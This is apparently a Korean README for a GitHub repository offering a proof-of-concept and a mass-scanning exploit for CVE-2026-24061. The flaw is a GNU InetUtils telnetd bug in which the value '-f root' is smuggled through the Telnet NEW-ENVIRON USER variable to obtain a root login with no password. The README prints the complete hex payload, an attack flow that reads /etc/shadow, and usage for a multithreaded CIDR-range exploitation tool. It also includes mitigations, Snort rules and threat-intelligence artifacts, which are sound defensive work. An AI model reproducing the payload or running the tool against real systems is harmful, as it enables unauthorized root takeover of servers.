
GNU InetUtils telnetd - NEW-ENVIRON 변수 주입을 통한 인증되지 않은 원격 루트 권한 획득.
GNU InetUtils telnetd - NEW-ENVIRON 변수 주입을 통한 인증 없는 원격 루트 권한 획득
CVE-2026-24061은 GNU InetUtils의 일부로 배포되는 telnetd 데몬의 심각한 인증 우회 취약점입니다. 이 결함은 초기 프로토콜 핸드셰이크 중 Telnet NEW-ENVIRON 옵션(RFC 1572) 처리에서 발생합니다.
근본 원인은 클라이언트가 제공한 환경 변수를 login(1) 프로그램에 전달하기 전에 검증하지 못하는 것입니다. Telnet 데몬이 USER 변수에 값을 포함한 하위 협상 패킷을 수신하면, 이 검증되지 않은 값을 시스템 바이너리에 직접 전달합니다.
-f rootNEW-ENVIRON ISloginlogin이 -f 플래그(비밀번호 검증 없이 강제 로그인)를 허용하는 시스템에서는 원격 공격자에게 인증 없는 루트 세션이 부여됩니다.
이 취약점 클래스는 역사적 선례가 있습니다: SysV telnetd의 CVE-2001-0797과 1994년의 잘 알려진 Linux telnetd -f 우회는 권한 있는 바이너리에 전달되는 환경 소스 인수의 검증 실패라는 동일한 근본 결함을 악용했습니다.
자격 증명 불필요. 사전 접근 권한 불필요. 단일 네트워크 패킷 시퀀스로 루트 권한 획득 가능.
GNU InetUtils telnetd는 RFC 1572에 따라 NEW-ENVIRON(옵션 코드 0x27) 하위 협상을 처리하여 클라이언트가 제공한 환경 변수를 수집합니다. 이러한 변수는 인자 벡터로 조합되어 login(1)을 실행할 때 execve(2)에 전달됩니다.
취약점은 다음과 같이 트리거됩니다:
IAC DO NEW-ENVIRON을 전송합니다.IAC WILL NEW-ENVIRON으로 응답합니다.IAC SB NEW-ENVIRON SEND IAC SE로 응답합니다.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd는 login -f root로 login 호출을 구성합니다.login(1)은 -f를 "강제 로그인, 인증 건너뛰기"로 해석하고 비밀번호 없이 지정된 사용자(root)로 로그인합니다.| 단계 | 방향 | Telnet 바이트(16진수) | 의미 |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root가 작동하는 이유많은 Linux 시스템의 login(1) 바이너리는 과거 터미널 멀티플렉서와 rlogin에서 사용되던 "사전 인증된" 로그인을 위한 -f <user> 플래그를 허용합니다. telnetd가 exec 호출을 구성할 때 환경 변수 값에서 선행 하이픈을 제거하거나 옵션 형태의 문자열을 검증하지 못하면, 공격자가 제어하는 플래그가 login에 직접 전달됩니다.
실제 호출은 다음과 같습니다:
execve("/bin/login", ["login", "-f", "root"], envp);
공격자 취약한 telnetd (포트 23)
| |
|------- TCP SYN (포트 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet 배너 + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd 호출: login -f root] |
| |
|<------ 루트 셸 프롬프트 (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow 내용 --------|
전제 조건:
telnetd가 실행 중인 대상 시스템(TCP/23 포트 개방)inetutils 버전login(1) 바이너리가 -f 플래그를 지원(대부분의 Linux 배포판에서 표준)| 소프트웨어 | 영향받는 버전 | 상태 |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (구체적인 패치 버전 미정) | 취약 |
| 패치되지 않은 GNU inetutils를 배포하는 배포판 | 다양함 | 공급업체 권고 확인 |
배포판이 패치된 버전을 제공하는지 확인하세요. 많은 최신 시스템은 Telnet이 기본적으로 비활성화되어 있습니다. 노출은 명시적으로 실행 중인
telnetd가 필요합니다.
| 지표 | 값 |
|---|---|
| CVSS v3.1 기본 점수 | 9.8 (치명적) |
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경되지 않음 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |
| 벡터 문자열 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
요구 사항: Python 3 (표준 라이브러리만 사용, 외부 의존성 없음).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
pip install 불필요. 두 스크립트 모두 Python 표준 라이브러리만 사용합니다.
poc_cve_2026_24061.py # 간단한 PoC (~100줄) - 취약점 이해용
cve_2026_24061.py # 산업화된 익스플로잇 - 멀티스레드, CIDR, CSV/JSON 내보내기
scripts/
generate_signatures.py # 페이로드에서 Snort/Suricata + Sigma 규칙 자동 생성
generate_misp_event.py # MISP 가져오기 가능한 이벤트 JSON 생성
generate_stix_bundle.py # STIX 2.1 번들 생성 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Snort/Suricata 탐지 규칙 (자동 생성)
sigma.yml # SIEM용 Sigma 규칙 (자동 생성)
indicators/
misp_event.json # MISP 이벤트 - 이벤트 > 이벤트 추가 > 가져오기로 가져오기
stix_bundle.json # STIX 2.1 번들 - 11개 객체 (취약점, 지표, ATT&CK, CoA)
poc_cve_2026_24061.py: 최소한의 읽기 쉬운 교육용 코드. 단일 대상, 단일 함수, 추상화 없음. 프로토콜 수준에서 취약점이 정확히 어떻게 작동하는지 이해하려면 이 파일을 읽으세요.cve_2026_24061.py: 침투 테스트 작업을 위한 산업화된 익스플로잇. 멀티스레드, CIDR 범위 지원, 파일 입력, CSV/JSON 내보내기, 조용한 모드, 사용자 지정 사용자 지원.단일 호스트를 익스플로잇합니다. 코드는 의도적으로 최소화되어 있어 처음부터 끝까지 읽고 전체 공격 체인을 이해할 수 있습니다.
# 기본 사용법
python3 poc_cve_2026_24061.py 192.168.1.100
# 사용자 지정 포트
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| 매개변수 | 기본값 | 설명 |
|---|---|---|
-t / --target | - | 단일 IP, 호스트 이름 또는 CIDR 범위 |
-f / --file | - | IP/CIDR 목록이 포함된 파일 (줄당 하나, # 주석) |
-T / --threads | 10 | 동시 스레드 수 |
-p / --port | 23 | 대상 Telnet 포트 |
--timeout | 5 | 소켓 타임아웃(초) |
--user | root | -f 페이로드용 사용자 이름 |
-o / --output | - | 결과를 CSV 파일로 내보내기 |
--json | - | 결과를 JSON 파일로 내보내기 |
-q / --quiet | off | 조용한 모드: 취약한 대상만 출력 (줄당 하나) |
--no-color | off | ANSI 색상 출력 비활성화 |
| 상태 | 의미 |
|---|---|
[VULN] | 호스트 취약 확인 - 루트 셸 획득 |
[SAFE] | 호스트가 응답했지만 인증이 우회되지 않음 |
[CLOS] | 포트 닫힘 또는 연결 거부 |
[ERR ] | 스캔 중 소켓 또는 프로토콜 오류 |
CSV 출력 열: ip:port, status, message
이 스크립트는 외부 Telnet 라이브러리에 의존하지 않고 Python에서 전체 Telnet NEW-ENVIRON 협상 상태 머신을 기본적으로 구현합니다:
IAC 명령 시퀀스를 읽고 DO NEW-ENVIRON에 WILL NEW-ENVIRON으로 응답합니다.SB NEW-ENVIRON SEND 하위 협상을 수신하면 주입된 페이로드(USER = "-f root")를 전송합니다.uid=0(root) 존재 또는 셸 프롬프트(#), Login incorrect 또는 Password:가 없는 경우.id\n을 전송하고 응답에서 uid=0(root)를 확인하여 2차 확인을 수행합니다.결과는 색상으로 구분된 상태 레이블과 함께 stdout에 기록됩니다. 선택적 CSV 내보내기는 사후 처리를 위해 모든 결과를 기록합니다.
Telnet을 완전히 비활성화합니다. Telnet은 모든 데이터를 평문으로 전송합니다. SSH로 대체하세요.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
공급업체 패치를 적용합니다. 배포판에서 패치된 inetutils 버전이 제공되면 설치하세요.
경계에서 TCP/23을 차단합니다. 인바운드 Telnet 연결을 거부하는 방화벽 규칙을 적용하세요.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| 통제 | 설명 |
|---|---|
| 네트워크 분할 | Telnet을 비활성화할 수 없는 경우 격리된 관리 네트워크로 제한 |
| PAM 강화 | PAM 구성을 검토하고 login.defs에서 필요하지 않은 경우 -f 사전 인증 비활성화 |
| IDS/IPS 시그니처 | Telnet 트래픽에서 NEW-ENVIRON IS VAR USER VALUE -f 패턴 탐지 |
| 감사 로깅 | login을 통한 예기치 않은 루트 로그인을 위해 auth.log / secure 모니터링 |
| 취약점 스캐닝 | 패치되지 않은 inetutils 식별을 위해 인증된 스캔(OpenVAS, Nessus) 실행 |
전송 중인 익스플로잇 탐지를 위한 Snort/Suricata 규칙 스켈레톤:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
이 저장소는 SOC/CTI 스택으로 바로 가져올 수 있는 사전 생성된 위협 인텔리전스 아티팩트를 제공합니다. 실제 익스플로잇 페이로드에서 CI에 의해 자동 생성됩니다 - 페이로드가 변경되면 아티팩트도 업데이트됩니다.
indicators/misp_event.json을 모든 MISP 인스턴스로 직접 가져오세요:
이벤트 > 이벤트 추가 > 다음에서 가져오기... > JSON
이벤트에는 다음이 포함됩니다: CVE ID, CVSS 벡터, Snort 시그니처, 페이로드 16진수, MITRE ATT&CK 태그(T1190, T1548, T1059), CPE 및 외부 참조.
indicators/stix_bundle.json을 OpenCTI, TAXII 서버 또는 모든 STIX 2.1 소비자로 가져오세요.
번들에는 11개의 객체가 포함됩니다: 취약점, 지표(네트워크 패턴), 3개의 공격 패턴(MITRE), 대응 조치(수정), 신원 및 이를 연결하는 관계.
signatures/의 사전 구축 규칙:
snort.rules - 3개의 Snort/Suricata 규칙 (익스플로잇 시도, 일반적인 -f 주입, 익스플로잇 후 루트 셸)sigma.yml - SIEM 상관 분석용 Sigma 규칙익스플로잇 페이로드를 수정한 경우 모든 아티팩트를 재생성하세요:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
이 도구는 승인된 보안 감사, 학술 연구 및 교육 목적으로만 제공됩니다. 시스템 소유자의 명시적인 서면 허가 없이 시스템을 대상으로 사용하는 것은 해당 컴퓨터 사기 및 남용 법률(CFAA, Computer Misuse Act 및 이에 상응하는 법률을 포함하되 이에 국한되지 않음)에 따라 불법입니다. 작성자는 무단 또는 악의적인 사용에 대해 어떠한 책임도 지지 않습니다.